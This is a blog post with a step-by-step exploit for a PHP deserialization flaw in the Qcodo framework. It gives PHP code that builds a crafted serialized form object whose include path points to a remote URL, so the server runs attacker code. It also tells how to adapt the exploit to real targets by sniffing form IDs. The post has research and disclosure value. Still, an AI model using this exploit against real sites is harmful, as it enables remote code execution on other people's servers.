Pages

Wednesday, September 21, 2011

ASV Vulnerabilities


When applying for a PCI DSS ASV certificate we came across a service based on the Qcodo

framework with quite an amusing vulnerability in it. The vulnerability is caused by the peculiar behavior of the PHP interpreter that occurs when deserializing inherited objects. All versions of this CMS proved vulnerable.

1) Let’s find unserialize() in the QFormBase class, in the following method:

public static function Unserialize($strPostDataState) {
// Setup and Call the FormStateHandler to retrieve the Serialized Form
$strLoadCommand = array(QForm::$FormStateHandler, 'Load');
$strSerializedForm = call_user_func($strLoadCommand, $strPostDataState);
if ($strSerializedForm) {
// Unserialize and Cast the Form
$objForm = unserialize($strSerializedForm);
$objForm = QType::Cast($objForm, 'QForm');
// Reset the links from Control->Form
if ($objForm->objControlArray) foreach ($objForm->objControlArray as $objControl)
$objControl->SetForm($objForm);
// Return the Form
return $objForm;
} else
return null;
}

2) Likewise, in the same class, there is another method:

protected function Render() {
require($this->HtmlIncludeFilePath);
}

3) The method is called from

public static function Run($strFormId, $strAlternateHtmlFile = null) {

4) The call looks like this:

if (array_key_exists('Qform__FormId', $_POST) && ($_POST['Qform__FormId'] == $strFormId) && array_key_exists('Qform__FormState', $_POST)) {
$strPostDataState = $_POST['Qform__FormState'];
if ($strPostDataState)
// We might have a valid form state -- let's see by unserializing this object
$objClass = QForm::Unserialize($strPostDataState);
// If there is no QForm Class, then we have an Invalid Form State
if (!$objClass) throw new QInvalidFormStateException($strFormId);
}

5) The QFormBase class definition is as follows:

abstract class QFormBase extends QBaseClass {

So, it is impossible to create an object of the QFormBase type (since the class is abstract). Moreover, there is no need to do so since the given Run method cannot be called.

6) Let’s search for a class both non-abstract and inherited from QFormBase. Such a class called Dushboard is found at /www/drafts/dashboard/index.php.

Below the class creation code, you can see the following call line:

Dashboard::Run('Dashboard');

7) To exploit the code, let’s send an encrypted serialized object in the $_POST['Qform__FormState'] parameter and specify the correct class name in the $_POST['Qform__FormId'] parameter. It should be the same name that was passed to the Run() method. In our case, it is Dashboard.

8) Not to reinvent the wheel, let’s use the encryption methods from the framework of the same version in the exploit. The QFormStateHandler::Save($strFormState, $blnBackButtonFlag) method is responsible for saving and encrypting a serialized object.

9) Let’s create an object and try to serialize it:

class Dashboard extends QForm {
public function __construct() {}
}

$a=new Dashboard();
$a=serialize($a);
$a=QFormStateHandler::Save($a, false);
echo $a;

10) Now let’s send the derived string in the appropriate parameter of a POST request. The results read:

Invalid argument supplied for foreach()
In line 231: foreach ($objClass->objControlArray as $objControl) {

11) Let’s create all necessary arrays for the series of analogous errors that were revealed when developing the exploit. The resultant class is provided below:

class Dashboard extends QForm {
public function __construct() {
$this->objControlArray = array();
$this->objGroupingArray = array();
}
}

12) Finally, we find the most curious error:

require() [function.require]: Filename cannot be empty
Line 827: require($this->HtmlIncludeFilePath);

13) To prevent the linked framework from errors, you can set a value for the $this->HtmlIncludeFilePath field. This is how you do it:

require(dirname(__FILE__) . '/../includes/prepend.inc.php');
class Dashboard extends QForm {
public function __construct() {
$this->objControlArray = array();
$this->objGroupingArray = array();
$this->HtmlIncludeFilePath = "1.txt";
}
}

$a=new Dashboard();
$a=serialize($a);
$a=str_replace('s:34:"Y:\home\test2.ru\www\ASV\www\1.txt"','s:21:"http://test1.ru/i.txt"', $a);
$a=QFormStateHandler::Save($a, false);
echo $a;

14) The engine requires that the file being linked contain the following two lines:

$this->RenderBegin();

and

$this->RenderEnd();

Let’s add them, though it’s not necessary at all – the file executes without them just the same. These lines are used only to make the code execution results more easy-to-view. If it is possible to link only local files, you can do without these lines because in the standard error notification form, the linkup result is readable from the source code.

Real systems do not always have the Dushboard class. In this case, you can sniff any POST request and view the value of the Qform__FormId parameter. Then, just give this name to the class you created.

This vulnerability occurs because PHP when deserializing an object recopies its base class fields as well. For instance, in Java and the .NET languages a programmer has to explicitly indicate whether the basic class fields should be recovered from the serialized class (e.g. via ‘implement Serialize’ for basic classes in Java). PHP does not allow for such a field protection, which triggers vulnerabilities like the one described above.

10 comments: